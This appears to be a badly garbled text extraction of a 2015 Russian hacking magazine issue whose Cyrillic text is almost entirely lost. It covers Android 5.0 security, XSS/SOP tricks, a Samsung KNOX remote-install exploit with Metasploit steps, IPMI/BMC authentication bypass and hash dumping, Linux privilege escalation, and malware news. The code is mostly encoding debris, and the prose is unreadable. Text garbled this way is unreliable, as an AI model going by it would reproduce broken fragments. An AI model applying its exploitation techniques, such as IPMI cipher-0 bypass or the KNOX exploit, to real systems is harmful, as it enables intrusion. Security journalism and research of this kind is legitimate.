KeyChain,
.
4.1 -
( -
)
HAL- keymaster
(-
, -
M-Shield OMAP4, -
Galaxy Nexus).
2012 Google
--
Bouncer, -
Google Play -
, -
.
-
-
.
4.2,
2013-
Google Services
2.3 .
2014- -
, -
. SMS-
Android 4.2
-
.
Android 4.2
-
SELinux, -
(permissive mode), 4.4
enforcing,
-
,
. -
4.3
SETUID- -
/system
(capabilities)Linux .
Android Google
,
Apple
.,
, , -
.
, Google -
, . Android
5.0 security specific ,
, , .
: , -
5.0, SELinux, root.
Apple, -
Android ,
iOS.
-
Lollipop, -
/data,
() -
.
,
3.0
, :
(Master Key)
, PIN-
;
(Key Encryption Key, KEK)
, -
Trusted Execution Environment (TEE),
, , Qualcomm
Secure Execution Environment.
,
-
-
, HAL-
masterkey,
TEE. ,
,
-
,
NAND.
,
,
PIN-
Smart
Lock ( ).
Google ,
,
-
, .
.
/data
dm-crypt AES-128 -
CBC -
ESSIV:SHA256
(IV).
-
KEK-,
PIN-
INFO
(James Comey)iOS 8Android 5.0, ,--
.
01 /192/ 2015X-Mobile38
7/24/2019 2015 01 (192)
40/145
script (www.tarsnap.com/
scrypt.html),
TEE. , -
Android 5.0 -
PIN-, -
KEK.
script
PIN-
Android 4.4
PBKDF2. -
GPU (6--
PIN 10, 6-
4 hashcat),
script, -
, -
20 000
GPU -
.
,
-
,
Android 5.0. -
,
,
.
SEANDROID
SELinux,
-
,
-
-
. -
SELinux
-
.SELinux,
, ,
Apache-
,
., SELinux -
, -
, .
Android -
SELinux SEAndroid (seandroid.
bitbucket.org)
SELinux-.
4.2, -
Android, -
( 4.24.3) -
-
(
). 4.4
,
(installd, netd, vold zygote). -
SELinux
5.0.
Android 5.0 -
60 SELinux ( -
)
-
,
init -
.
,
Android, -
root,
, .
, CVE-2011-1823,
Android 2.3.4 -
memory corruption
vold,
root (
Gingerbreak), -
SELinux
01 /192/ 2015 39
7/24/2019 2015 01 (192)
41/145
, 5.0 , -
SELinux, vold
. -
CVE-2014-3100 Android 4.3, -
keystore, 70% .
SELinux,-
(-
++,
root),
root, , .,
root
, SELinux
.
, -
, root -
-
SELinux- init.
SuperSU 2.23 (
, -
, init ,
su). -
recovery, , -
,
root (
), .
, SELinux -
,
, -
Android.
Android
4.2, -
-
(-
, 4.2 Multiple User
Enabler). 4.3
,
, -
.
Lollipop -
, -
. -
,
,
. ,
, -
,
.
screen pinning, ,
-
, . -
, .
,
,
.
screen pinning -
--
.
, PIN- -
-
. -
PIN.
, -
,
,
, -
99%
, , ,
-
. -
Samsung Knox.
Smart Lock Android 5.0 WebView Android Device Manager
INFO
Linux,-Android
MD5-
. Google,
.
01 /192/ 2015X-Mobile40
7/24/2019 2015 01 (192)
42/145
INFO
-
Android
-
.
-
,
-
.
SMART LOCK
PIN-
, Google . 5.0 Smart Lock,
, -
.
,
.
-
. Smart Lock
, -
-
-
Bluetooth-
(,
, TV Box),
NFC- -
.
-
,
-
-
,
( Trusted
Bluetooth, ),
Tasker,
Pebble -
(
SWApp Link).
-, ,
, PIN-
, Smart Lock -
( Trusted Agents) -
Bluetooth-, NFC-.
Smart Lock.
,
,
. , , -
, ,
.
WEBVIEW Android -
WebView WebKit, -
HTML/JS-
.
. KitKat WebView
-
Chromium (33 Android 4.4.3),
-
-.
Lollipop, WebView
Chromium, Google
Play (, -
). ,
Android
HTML/
JS-, -
., Google -
, -
Google Chrome Android.,
,
Android 5.0 .
KILL SWITCH
2013 Google -
Android Device Manager, -
.
Google Play Google
Services,
, Android 2.3.
Android 5.0,
Factory Reset Protection.
-
-
, , -
Google,
-
-
.
-
.
,
,
.
, -
root
-
.
ChromeOS. -
Android
Android-, -
,
(Smart Lock ).
HTTPS TLS/SSL.
Android 5.0 TLSv1.1
TLSv1.2. -
Forward Secrecy. -
AES-GCM,
/
(MD5, 3DES) .
PIE . Android ,
-
PIE (Position-Independent Executables).
FORTIFY_SOURCE.
, stpcpy(), stpncpy(), read(), recvfrom(),
FD_CLR(), FD_SET() FD_ISSET(), -
FORTIFY_SOURCE
GCC ().-
FORTIFY_SOURCE
Android 4.2.
Google Android 5.0 ,
-
, ,
: -
-
,
root. , ,
, Lollipop
Android .
(Dan Campbell)
ChromeOS
01 /192/ 2015 41
7/24/2019 2015 01 (192)
43/145
#3.
ONAVO EXTEND
4.0, Android
-
VPN. -
, -
. Onavo
Extend VPN-, -
,
.
HTTP-
, -
,
--
.
-
AJAX -
, ,
, ,
.
, -
Opera. Opera Max,
iOS Android.
AFWALL+
-
,
, -
.
-,
, -
.
Android
,
iptables, -
.
AFWall+ .
: ,
( )
Wi-Fi
3G, . -
-
iptables.
: -
root
-
.
ADAWAY
-
. Android -
,
.
-
,
.
Adblock, -
AdAway.
AdAway ,
-
VPN-
, -
/system/etc/
hosts.
DNS-
.
OPERA MINI
-
-.
-
,
, Opera Mini
. -
Opera Mobile, -
.
Opera
Mini
, -
-
.
Opera Mini
HTML, JS, CSS. -
OBML (Opera
Binary Markup Language),
Opera -
HTML OBML -
JavaScript .
OBML -
90%, -
,
-.
Onavo Extend:goo.gl/YYA1j
:Android/iOS
:
AFWall+:goo.gl/eH7yb
:Android
:/ open source
AdAway:goo.gl/2Qacc
:Android
:
Opera Mini:goo.gl/9PoS31
:Android / iOS / Windows Phone
:
: VPN-, -, ,, Opera Mini .
01 /192/ 2015X-Mobile42
7/24/2019 2015 01 (192)
44/145
10 /177/ 2013 Raspberry Pi 43
!#
, .
Hint:.
7/24/2019 2015 01 (192)
45/145
!"#$!"#$
WARNING
.,
,-
.
GreenDog , Digital Security
twitter.com/antyurin
01 /192/ 201544
7/24/2019 2015 01 (192)
46/145
, , , -
.
. , -
-XSS, -
. , ,
, ,
. ,
/ (,
!"#$%&'(&)*+)(,-./012 ), IE
`. , .
?-, cheatsheet,
(, OWASP: goo.gl/Ne8nGI).
-, . -
Shazzer (goo.gl/z0SrxG). -
. - -
. ,
. , -, ,
-
, -, ,
, , -
.
, (),
, , -,
.
: goo.gl/urMpHC.
"#$%&' () *'
, (TNS)
SQL--. , , , -
. Java.
. ,
Oracle, Express Edition (XE),
JavVirtual Machine -. ?
! , -
.
3,$4' 6789:9;?=@AB-,).,:C-&$-)D/E)'F:')D,EGE=H=;>IJ7?=EGE,BK& L)'F B&DD)'*" M4.K C)-)D,.,-"LEGNGI@>=1O
6789:9;?=@AB-,).,:P&3/P&3:')D,+2E)'F:P&3:')D,EG C-&$-)D:')D,+2E)'F:')D,EG
".)-.:*).,+2Q>??G-,C,).:4'.,-#)(+R 2Q>??G,'*:*).,+2Q>??G,')3(,*+2I@>=G)S.&:*-&C+2I@>=1O *3D":(&BTA"(,,C/01O *3D":"BK,*S(,-A*-&C:C-&$-)D/C-&$-)D:')D,+2E)'F:')D,E1O
*3D":"BK,*S(,-ACS-$,:(&$O,'*O
, . -
.
.
, ,
, .
" #$
%&'()*&'')+, #$ -.
-
,
. --
, -
, ,
, -
-. -
, -
. , , Internet Explorer , Easy
Hack -
() .
-
-
,
.
.
(
, ) Android.
, Same Origin Policy. , SOP
JavaScript -
. (-
, + + )
.
SOP, , (http://evil.ru, ),
. , SOP -
:
!4U-)D, ')D,+L.,".L"-B+LK..CV%%$D)4(AB&DL2!%4U-)D,2
!4'CS. .FC,+3S..&' #)(S,+L.,".L&'B(4BT+LM4'*&MA&C,'/EWSNNNNP)#)"B-4C.V)(,-./*&BSD,'.A*&D)4'1EGE.,".E1L 2
http://evil.ru,
(alert(document.domain)) Gmail. -
iframe ,
(input , ).
, (
SOP), ,
. \u0000 null-, . -
-
. , Android4.4
Shazzer.,
(=)
01 /192/ 2015 Easy Hack 45
7/24/2019 2015 01 (192)
47/145
, Visa/MasterCard -NFC (PayPass, PayWave). ( 25%)
. , , .
c NFC, c NFC-(, -
) -
.: PAN, exp date, Card Holder (),
, 20, -
. ,
, CVV .
, . , -
,
.
...
, CVV
, 3D Secure .
NFC, -
Banking card reader (goo.
gl/7dmjrH). Hackito Ergo Sum 2012: goo.gl/omSbfi.
.
.
, (, -
, , ).
?
Telnet. ,
. , , PIN-.
, , -
: PAN (), expiration date CVV (
), .
,
. ,
, -
. ? , .
.
, -
(, XSS).
-
.
, -
(
,
, -
):
HTML, JavaScript.
, -
, -
,
HTML-, -
JS.
?
,
. , HTML-
. ,
, !"#$,
!%#$, (-
, , ). , -
,
.,-
., .
!"#$!&'($, X !&))$.
, x .
!&*+,$!&*-)$..
, .
(< 0.'/.(=(*!.0?')10>2)A#"#"0!"#"!81"2'!$,'#()*#78B//=$%%!>B.",!0,'#()*#0>)"%,=?%(.!%,'#()*#8C 3A!.!D!#? ,'#()*#$"*'E#?F.(!*)'78;G8
,'#()*#$/,(@./E#?F.(!*)'78;H8%C I000J 3A!.!D=.("*!!*)' ,'#()*#$',".78,'#()*#0 =.("*!!*)'0K:EL&MMNO&6P&QRE8%C I000J 3,==2*>,/*)' ,'#()*#$,22)ST,>?A=78/(A.8
,'#()*#$',".780>)(.06)(.8C 3,>/*5*/U ,'#()*#$>)'!@6B,'@.!78?.UV),(#W ?.UV),(#X*##.'W)(*.'/,/*)'8,'#()*#$ .1>2A#.Y()"Z.>.'/!78/(A.8 ,'#()*#$2,V.278[!/(*'@%/*/2.V,(8,'#()*#$ ',".780A*0M,A'>B&>/*5*/U8 ,'#()*#$')X*!/)(U78/(A.8,'#()*#$/B.".7 8[,'#()*#$!/U2.%LB.".0\.5*>.\.-,A2/8C 3*'/.'/D!2/.(C 3#,/, ,'#()*#$!>B.".78!"#"8%C 3,>/*)' ,'#()*#$',".78,'#()*#0*'/.'/ 0,>/*)'0FKR]8%C 3>,/.@)(U ,'#()*#$',".78,'#()*#0*'/.'/0 >,/.@)(U0\RY&^ML8%C 3>,/.@)(U ,'#()*#$',".78,'#()*#0*'/.'/ 0>,/.@)(U0TZ_]E&TMR8%C 3%*'/.'/D!2/.(C 3%,>/*5*/UCI000J3%,==2*>,/*)'C
3%",'*-.!/C
*'/.'/D!2/.(, - >)"0!.>0.'/.(=(*!.0?')10>2)A#"#"0!"#"!0A*0M,A'>B&>/*5*/U.!"#"$``000- )'6(.,/. M,A'>B&>/*5*/U. proguard, -
. -
-
.
, ,
O(.RL,@01"2 %#,/,%#,/,%>)"0
!.>0.'/.(=(*!.0?')10>2)A#"#"0!"#"!%!B,(.#N=(.-!% - @./O(.RL&Qab: -,
!'*!Bab. .Intent,
Activity, , -
. :
!"#"$%%B)!/',".c5,(;75,2A.;d5,(975,2A.9
:
!.@NA(2; A=#,/.NA(2;
.",*2; "#"N/)?.'; =()@(,"; eA*>?!/,(/NA(2.
, ,
A=#,/.NA(2.
!B,(.#N=(.-.(.'>. , )'6(.,/.ab-6)(.0!/,(/E.2-^=#,/.6B.>?ab .
6)(.0!/,(/E.2-^=#,/.6B.>?ab , , , ^+6E.2-^=#,/.+,',@.(0!/,(/E.2-^=#,/.6B.>?ab
, --
, URL,
A">N>#' shared_pref- "01"2, %2,/.!/. A">N>#' - Intent udpdate_url.
.
^+6E.2-^=#,/.+,',@.(0#)^=#,/.6B.>?ab -URL.
ContentTransferManagerHTTP-, URL, -
. -
handleRequestResult : )'Y,*2A(.ab,)'O()@(.!!ab, )'E/,(/ab, )'EA>.!!ab.
onCreate
onCreate
Core.
startSelfUpdateCheck()
Core.
startSelfUpdateCheck()
01 /192/ 2015 51
7/24/2019 2015 01 (192)
53/145
, , -
!"#$%&''().
, -
: ETag, Content-
Length *+,-.+-&/,+,01+2&3'4!" .
*+,-.+-&/,+,01+2&3'4!"
UniversalMDMApplication APK-. -
, . -
,
.
.
56#,
789#&:;70
7/24/2019 2015 01 (192)
54/145
Samsung-
Samsung KNOX
-
.
:
!"##$%&'()*+,-*./0#1%#21%'#-**3-%-&"4.56+%#"7#.&"#6+%#"%#8"'+*9"42:; )*+,-*!"##$%&'=>-/#"4.
?=6@=)ABCA81D1A8BAE=FGABH:I
, ,
,
,
, -
. -
.
:
-,
ETag, :
J>-#-J>-#-JK+5.'"K."%#"4/4$'".L%+7.K*+0>5>5.'5>5'J'M-4">B/4"N'J?4"AO-&.75*
+%64"-#"2:-
, , -
.
EXPLOIT
, -
. HTML-
JavaScript-( ):
P'K4$/#QN0%K#$+%#4$&&"42:R >+K05"%#.*+K-#$+%ST'5>5UJJ5"+VW 0/>-#"B04*SM##/UJJX+04'"49"4JTI Y
'"#O$5"+0#2#4$&&"4; ZHHH:IPJ'K4$/#Q
, -
JavaScript-, -
,
( ). -
:
7[-5\[5"#-[-/L[9"4'$+% ,
, . , 1337;
AO-& MD5-APK-;
6+%#"%#[G"%M APK-(-
).
Python-:
$5/+4#M-'M*$,N4+5F-'"]OO?!"49"4 $5/+4#
F-'"]OO?8"^0"'#]-%>*"4=?@BD1GA S T5"+V.-/LT=?@B_=O= S +/"%2=?@BD1GA;T4,T:.4"->2:=?@B!1`A S '#42*"%2=?@B_=O=::=?@B]=!] S M-'M*$,.5>Z2=?@B_=O=:.M"7>$&"'#2:
K*-'' 3X]-%>*"42F-'"]OO?8"^0"'#]-%>*"4:U
>"N>+B)AO2'"*N:U '"*N.'"%>B4"'/+%'"2aHH: '"*N.'"%>BM"->"42T6+%#"%#[G"%MT;
=?@B!1`A: '"*N.'"%>BM"->"42TAO-&T; =?@B]=!]:
'"*N.'"%>BM"->"4 2T7[-5\[5"#-[-/L[9"4'$+%T; TbccdT: '"*N."%>BM"->"4'2:
'"*N.V!*".V4$#"2=?@B_=O=: 4"#04%
>"N>+B]A=_2'"*N:U '"*N.'"%>B4"'/+%'"2aHH:
'"*N.'"%>BM"->"42T6+%#"%#[G"%MT;
=?@B!1`A: '"*N.'"%>BM"->"42TAO-&T; =?@B]=!]: '"*N.'"%>BM"->"4
2T7[-5\[5"#-[-/L[9"4'$+%T; TbccdT: '"*N."%>BM"->"4'2: 4"#04%$NBB%-5"BB SS TBB5-$%BBTUN4+5F-'"]OO?!"49"4 $5/+4#]OO?!"49"4
'"49"4 S ]OO?!"49"422eH.H.H.He;fHfH:; 3X]-%>*"4:'"49"4.'"49"BN+4"9"42:
Metasploit--
:
5'N Q 0'" "7/*+$#J-%>4+$>J,4+V'"4J'-5'0%&BL%+7B'5>5B04*5'N "7/*+$#2'-5'0%&BL%+7B'5>5B04*: Q
'"# G]g!O bha.bif.jb.bfi5'N "7/*+$#2'-5'0%&BL%+7B'5>5B04*: Q "7/*+$#
(bit.ly/1yWD0DX)
.
TARGETS Samsung Galaxy S5;
Samsung Galaxy S4 (version checked: I9505XXUGNH8);
Samsung Galaxy S4 mini (version checked: I9190UBUCNG1);
Samsung Galaxy Note 3 (version checked: N9005XXUGNG1);
Samsung Galaxy Ace 4 (version checked: G357FZXXU1ANHD).
SOLUTION
,
, -
. , : -
,
(
UniversalMDMClient), -
,
.
.
-
. (-
bit.ly/1AK3OGR):
'5>5UJJ/-#KMJ
Samsung UMC (Universal MDM Client) :
M##/UJJ05K[K>%.'"K,a,.K+5UfH
-
UniversalMDMClient.apk. -
(Samsung
Galaxy S5, Note 4 Alpha).
...
;).
01 /192/ 2015 53
7/24/2019 2015 01 (192)
55/145
IPMI/BMCIPMI , , -
. -
.
BMC IPMI. -
(system on a chip)
.
, ,
.
Integrated Lights Out (iLO) Hewlett-Packard (HP). HP iLO
BMC/IPMI. -
, . , , -
ARM Linux.
:
Reset / /
, .
IPMI/BMC .
-
, ,
.
:
-();
IPMI over LAN (UDP 623);
(,
).-
: WMI , OpenIPMI, IPMItool Linux.
-. -
, .
, .
IPMI over LAN, , -
UDP 623.
IPMI ,
/dev/ipmi0, .
IPMI IPMItool
GNU/Linux, .
-IPMI,
IPMI.
IPMI/BMC-
,
Positive Technologies
p h o t o n e w m a
n @ s h u t t e r s t o c k c o m
01 /192/ 201554
7/24/2019 2015 01 (192)
56/145
IPMI/BMC
IPMI/BMC IPMI/BMC -
2013 ,
. IPMI/BMC
shodanhq.com (-
. . .). ,
. -
.
-
IPMI/BMC.
IPMI/BMC (, ),
VirtualConsole (aka KVM) , -
, roota LiveCD
, Windows. -
, -
root (
). , IPMI-
-
. IPMI/BMC
, -
.
IPMI/BMC.
IPMI/BMC -
. , IPMI/BMC -
.
. , -
, -
.
IPMI BMC
(Dan Farmer) (bit.ly/1fx1wAW). , ,
: bit.ly/1zthsgv.
.
, IPMI/
BMC :
(,
-);
IPMI.
,
.
NULL authentication
.
IPMI 1.5.
, -
. ,
.
HP;
Dell;
Supermicro.
UDP 623, IPMI 1.5, -
.
PC
!"#!$%%& () *+*, (- $./01$23 4#5 06!7
IPMI Authentication Bypass via Cipher 0
. -
IPMI 2.0.
.
,
.
HP;
Dell;
Supermicro.
UDP 623, IPMI 2.0, .
PC
#1$.8"&%!$ ( .69!&!./:;85.1/1 681/ &!8$
IPMI 2.0 RAKP Authentication Remote Password HashRetrieval
. IPMI 2.0
HP;
Dell;
Supermicro.
UDP 623, IPMI 2.0 user-logins.
PC
#1$.8"&%!$ ( .69!&!./:;85.FG5%#;!"#!;$%%&8;/.H($>1(/!""1/G"&
IPMI Anonymous Authentication / Null user
-null user, - anonymous authentication.
-, - -
null user / anonymous ().
null user, .
anonymous authentication, admin -
IPMI Chips with ATEN-Software.
(bit.ly/1iZItyM)
. Rapid7 (bit.ly/1kAtHVh)
null user .
HP;
Dell;
Supermicro ( IPMI Chips with ATEN-Software).
UDP 623.
PC
#1$.8"&%!$ ( .69!&!./:;85.
7/24/2019 2015 01 (192)
57/145
Supermicro.
1900.
PCmetasploit exploit/multi/upnp/libupnp_ssdp_overflow
metasploit auxiliary/scanner/upnp/ssdp_msearch
Supermicro IPMI Clear-text Passwords
IPMI 2.0 , -
. Supermicro -
/nv/PSBlock /nv/PSStore,
firmware. , BMC Nuvoton WPCM450
TCP- 49152 ,
/nv, PSBlock,
server.pem .
Supermicro.
Shell-?
PC
!"# %&'%()*+,!-.!/, 0123 %()*+,!-4 5 &! #"67.#8( 9:;?@>?>&76@!??>&7.
IPMI,
Authentication
Bypass via Cipher 0 (). , -
.
: -
, -
.
.
Metasploita >?@>ABC@?/"D/.D . :
. >?@>ABC@?/"D/.D-, , -
. ,
, .
,!+E"D/!"#, F,/& #/.G>??.6 c jumbo- (community edition). ( -
. . .), -
.
oclHashcat, 1.30,
.
HP iLO4, -
. ,
Administrator -
uppercase + numeric.
-
.
cipher 0
. -
8(H8#,,+. GNU/Linux -. Windows
Cygwin. -
:
1. , ,
ID.
IPMI
John the Ripper
oclHashcat
01 /192/ 201556
7/24/2019 2015 01 (192)
58/145
!"#!$%%& () &*+"&,- (. / (0 1212121 (3
45#!+!-$6*$%6 (7 *+8"*--9%65:;6; ,-;6 &!-$
2. .
!"#!$%%& () &*+"&,- (. / (0 1212121(3 45#!+!-$6*$%6
(7 *+8"*--9%65:;6; ,-;6 -;$ +*#; :*?@;6
3. .
!"#!$%%& () &*+"&,- (. / (0 1212121 (3
45#!+!-$6*$%6 (7 *+8"*--9%65:;6; ,-;6
-;$ "*--9%65 :*?@;6"*--
4. .
!"#!$%%& () &*+"&,- (. / (0 1212121 (3
45#!+!-$6*$%6 (7 *+8"*--9%65:;6; ,-;6 "6!A B
5. .
!"#!$%%& () &*+"&,- (. / (0 1212121 (3
45#!+!-$6*$%6 (7 *+8"*--9%65:;6; ,-;6 ;+*C&;
,
, -
-, SSH SMASH -
, -KVM.
KVM,
,
BIOS, -
. -
KVM . , HP
iLO4 TCP 17988 17990. Dell
iDRAC7 TCP 5900. Cisco ICM TCP 2068.
, HP BladeSystem Onboard
Administrator. HP BladeSystem ,
-. , -
-
IPMI.
IPMI SSO. ,
, -
--
:).
, HP
iLO4, KVM -
SMASH (: SSH) TEXTCONS.
, 80, 443, 17990.
, -
? .
, , !"#!?5C
Windows/Linux.
IPMI/BMC, ( ipmi_dumphashes
Metasploit). ,
Metasploit , IPMI/BMC -, Metasploit -
.
GitHub (bit.ly/12GLwLA). -
:
1. D" ,
.
2. D5-
.
3. DA E
0..5. N = 1 .
, -
. ,
D5 D"
, IPMI-.-
D5
, -
. -,
DA F
.
Linux GCC
G?? !"#!?52? D-$*$!? D% !"#!?5.
Windows MinGW G??
!"#!?52? D#+%D#-DC!$!;&5- D&9-HIJH D=K)ELM.
, PoC LiveCD (bit.
ly/1z1woEg), Windows.
LiveCD.
: -
IPMI/BMC .
-SMASH,
,
IPMI/BMC .
,IPMI/BMC.
BMC . -
. ,
- -
, .
Stay tuned!
HPKVM
HP BladeSystem
Onboard Administrator
01 /192/ 2015 57
7/24/2019 2015 01 (192)
59/145
7/24/2019 2015 01 (192)
60/145
7/24/2019 2015 01 (192)
61/145
ant
J o A n n G o u l d @ s h u t t e r s t o c k c o m
01 /192/ 201560
7/24/2019 2015 01 (192)
62/145
01 /192/ 2015 61
7/24/2019 2015 01 (192)
63/145
PREFASE
(-
),
.
-
, -
. ,
,
. -
. ,
-, ,
, .
-
, .
, Windows, -
-,
-
.
, .
Linux .
.
Windows, c -
,
- .
Linux- -
.
?
, -
. -
,
. ,
,
(, , -
,
).
:
1. .
2.
.
3. .
4. () .
5. root.
.
, ,
,.
-
!"#$% '#.
,
, (')%*%#+%, -
%,-(-
-: *+.')%*%#+% Ubuntu,
)%/0#,')%*%#+% Red Hat / CentOS ):
-#, 1%,-1(')%*%#+%
,
.
, -
. , , exploit-db.
com, : 1337day (bit.ly/12e2Erd),
SecuriTeam (bit.ly/1wOdrFI), ExploitSearch (bit.
ly/1yYgrxM), Metasploit (bit.ly/1u42z0n), securityreason
(bit.ly/1s8XRhr), seclists (bit.ly/1u8f1LI). ,
, .
, : -
-
, -
.-
,
:
-.
. .
. , -
(,$2
). -
, grsecurity (bit.ly/1wcJIa3).
, Windows. , -. , , . ,
, ,. ? , ...
WARNING
-
.,
-
, -
.
01 /192/ 201562
7/24/2019 2015 01 (192)
64/145
.
,
www.cvedetails.com
packetstormsecurity.org/files/cve/[CVE]
cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
www.vulnview.com/cve-details.php?cvename=[CVE]
, , ,
.
-.
,
, cURL/
wget, Netcat, FTP, SCP/SFTP, SMB
DNS TXT . ,
, :
! #$ % '() *+),! #$ % '() #-.! #$ % '() #),-',.! #$ % '() ,/,0.! #$ % '() /,0
, Netcat.
-
:
#- &1 &0 2345 6 78,9! 1)
1234. -
:
#- &* 4 :$);,
7/24/2019 2015 01 (192)
65/145
.
-
(,
-
,
, ).
,
,
-
.
-
,
:
! #$ % '() *)+,-! #$ % '() *./01#-! #$ % '() 233-
! #$ % '() 33
-
. , -
, .
,, ,
, ,
, -
-
. , Microsoft
Windows, -
,
.
,
:
! #$ % &*)+( 4 5
&/.*) , &,6
-
,
--
:
, -
/, -
, init
cron. ,
, -
, -
.
, -
/-
/
-
. , ,
30(1$ 777.
, -
.
Setuid + setgid , setuid setgid
, -
( root).
,
, -
-
. ,
setuid -
ls -
,
-
. vim
-
,
-
.
,
-
setuid/setgid-
, -
, buffer
overflow command
injection,
-
.
-
.
68$1 ! #$ % &9$): ;>>;? &/.*) @
&*+A#/> &)9)3 ,6 &6 BC ;D
, sudo,
, , -
.
. -
,
, -
(, -
).
-
. -
command injection.
, -
.
SUDO sudo (substitute
user and do), -
-
, -
-
-
.
-
root(-
),
, .
%)/3%68$1)+6. -
-
.
, -
. , -
,
.
( Offensive security, -
: bit.ly/1A62EUU).
LinEnum
Unix-privesc-check
01 /192/ 201564
7/24/2019 2015 01 (192)
66/145
PATH
,
.
!"#$ (-
%&'()*(+ ). ?, : , -
!"#$ , (,-./'(-.01&.1/'(,,,,)? ,
,
: 3 %&45&673 ,.%&45&67. , !"#$ -/ . -
:
!"#$8,-39!"#$:*;%4&) !"#$
,
: () . ,
sudo--
, . ,
, !"#$.
,
, =4 3!"#$ @ 1*A B* C1.--.-.5D1.-,-.-.5D 1.-,3..D 1.E-..C?
AFTERWORD
, Linux -
.
: , ,
, .
, , -
, -
win-, nix-
. !
: ,
, ,
. ,
,
LinuxPrivChecker
,
Exploit
Database
01 /192/ 2015 65
7/24/2019 2015 01 (192)
67/145
ROPROP---
. ,
? ,
, ., -
? , -
,
ROP-.
-
ROP-DEP.
Agafi (Advanced Gadget Finder) /
++ ROP-
( -
). ,
, EEREAP-
. -
.
QEMU
diStorm3.
-
:
agafi ROP-
();
agafi-rop ROP-
DEP (-
kernel32.VirtualProtect);
gisnap fsnap
.
-
,
. ,
x86-.
Agafi/ROP (goo.gl/0W347j) -
EkoParty 2014.
PORTEX
PortEx Java- PE-
, -
. -
PE-.Java Scala.
:
MS DOS
Header, COFF File Header, Optional Header,
Section Table;
: import section,
resource section, export section, debug section,
relocations, delay-load imports;
sections, overlay, embedded ZIP, JAR
class;
,
;
PE-
;
;
JAR-,
exe (, exe4j, JSmooth,
Jar2Exe, Launch4j);
Unicode- ASCII-;
overlay.
portex.pom
portex.jar :
! #$% &%'()**+&%'()**,!*-,.!*-/012(-34 5)2 ,.01#6&*-/012(-3401#
-
Wiki (https://github.com/katjahahn/
PortEx/wiki).
MALWARE REPOSITORY FRAMEWORK
MalwaRE ,
PHP Laravel,-
,
. MalwaRE
Adlice (www.adlice.com/softwares/
malware-repository-framework/),
.
:
(
PHP/MySQL-);
VirusTotal
();
(AV,
, , );
URL
;
;
VirusTotal;
.
-
(
).-
.
X-TOOLS
D1g1
Digital Security
@evdokimovds
:NicolasEconomou:WindowsURL:https://github.com/CoreSecurity/Agafi
:Katja Hahn:Windows/LinuxURL:https://katjahahn.github.io/PortEx/
:Vu Quoc Huy:LinuxURL:https://github.com/c633/malwaRE
WARNING
!-!,-!
1 2 3
01 /192/ 201566
7/24/2019 2015 01 (192)
68/145
MAILING PHISHING FRAMEWORK
Cartero -
CLI-Ruby.
Cartero -
, (,
Mailer, Cloner, Listener, AdminConsole),
.
,
gmail.com, -
:
!"#$%&'%( *+(,'% --.%+/&&012""
34$5+!#(4 --0$&/ "&40--6'71'%8'%
34$5+9#(4!"#$%&'%( :51&','%
--6'71'%8'% "&40"34$5+9#(4 -0 ;[ L F#(6-.A)*\D*K I-Z:[78 #(6-. *]0F.%J 6F *S)I-Z:[ LL R" *^(%%_]`*1*a6-C3*7S*@-*8
AD5,F%)IA78P#(6-. *]b 'CJ#%' *S!5%E#C.ED,-.%-.F)*S456ON,(Q%(SF,*KIF,7S*@-*86A)c%.%-V)*dXefgdE`g_hi*77 %36.)?78IXhLMIE]gjkgjZ*]gjkgjElXdg*[SIE]gjkgjZ*jgmhg]nEhjo*[8
4Y F%D,-' F.&c% '(,##%( Y4If_lLO&F%-&J%)*4CF(4O6-4$,F.*78I]+pLc%.DN')78I]+j L*qB4O6-4F$@-D' G*SI]+pS*G@-6A Z /AGS456ON,(Q%(SF,G[8.$%- Q655&55 /RIf_l8%3#,(. XhLG*SIXhS*G@-%3#,(. a`EpjgabX`LS456ON,(Q%(SF,@-4CF(4O6-4$,F.@-C-F%. a`EpjgabX`@-*8I]+j SL*D(,-.&O /5rc(%# /V G
7/24/2019 2015 01 (192)
73/145
!"#$%& ()*%%$%+ ,-$+.&/%(0
1,2,&345(6786,.(90:;
PHP-? : -
CMS (Google
WordPress), , -
. , FTP , FTP .
, PHP-.
(x86 x64)
. ,
-, Mayhem.
killall
/usr/bin/host () -
(x86 x64).
system() /usr/bin/host -
LD_PRELOAD=libworker.so, libworker.
so exit().
Mayhem .sd0,
FAT -
. -
FAT16/32 File System Library (fat_filelib).
.
libworker.so -
LD_PRELOAD -
,
-
. -
-
Mayhem.
, -
.
-
: URL -
,
. -
, -
,
, Mayhem
.
-
:
,
Remote File Inclusion;
-
WordPress,
-
;
-
Joomla
WordPress;
CMS- ISP-;
, ,
, ;
FTP-;
IP-;
-MySQL (phpMyAdmin);
Heartbleed ShellShock.
.,
1400 .
Akamai Technologies -
Linux- IptabLes/IptabLex,
DDoS-. , -
Apache Struts, Apache Tomcat
Elasticsearch.
-
ELF -
IptabLes IptabLex.-
/boot,
/usr.IptabLes (1)-
IptabLex (700 ), -
root.
., .
/etc/rc.d/
init.d, . -
-
Linux, Debian, Ubuntu, CentOS Red Hat.
DDoS SYN flood DNS flood. -
,
-
119 /110.
, DDoS-2014 .
DDoS-
Linux.BackDoor.Fgt.1.
,
Linux. -
, MIPS SPARC.
:
IP--
;
;
DNS amplification;
UDP flood;
SYN flood;
;
.
,
-
-
.
256
IP-,
. IP
,
, -,
.
, -
Telnet
. -
(root,
admin), .
, -
-
(root, admin, 12345). -
-
IP-, ,
bash-, -
. -
.
,
Linux-
Windows, . , ...
POWERSHELL, . , -
, . .
Trend Micro Symantec -
,
Microsoft Word Excel.
Crigent ( Power Worm).
Windows PowerShell.
, Microsoft Excel
:
-
(. National Security Agency, NSA)
. -
, (. No Such Agency).-
-
, NSA
. NSA
,
, -
--
. , ,
, -
, -
, -, - , -
,
.
NSA SELinux,
Linux.
Linux .
NSA
01 /192/ 2015Malware72
7/24/2019 2015 01 (192)
74/145
!"#$%&' )*+ ,-".+--./01'234+ 5 6789:;90:?@
7/24/2019 2015 01 (192)
75/145
NTFS Alternate Data Streams, , -
MoveFileEx() MOVEFILE_DELAY_UNTIL_REBOOT.
Poweliks, -
,
.
, malware-, -
Kafeine ( malware.dontneedcoffee.com ), -
, Poweliks -Alureon.GQ (Microsoft),
Wowlik (ESET). ,
, -
, -
, TDL TDSS.
,
(,
,
). Kafeine ,
, -
C&C Poweliks, -
downgrade
, Alureon.GQ.
2014-
Poweliks
30 (-
-
2013 ). ,
-
Microsoft Word.
-, -
, Stuxnet.
- , , ? 2014 Symantec
Kasperskywhite paper Regin.
-, .
? , -
, Symantec, Kaspersky(
2014-. . .) (
). , -
Regin, (. 5).
, .
64-Microsoft Broadcom.-
CA ,
.
.
Regin, -
(). x86- x64-.
x86 ( ),
, .
NTFS,
(-
) Alternate Data
Streams :
